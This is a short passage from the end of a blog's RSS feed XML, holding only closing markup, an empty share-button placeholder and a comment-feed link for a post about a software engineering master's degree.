<div class="shr-publisher-455"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/software-engineering-masters/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

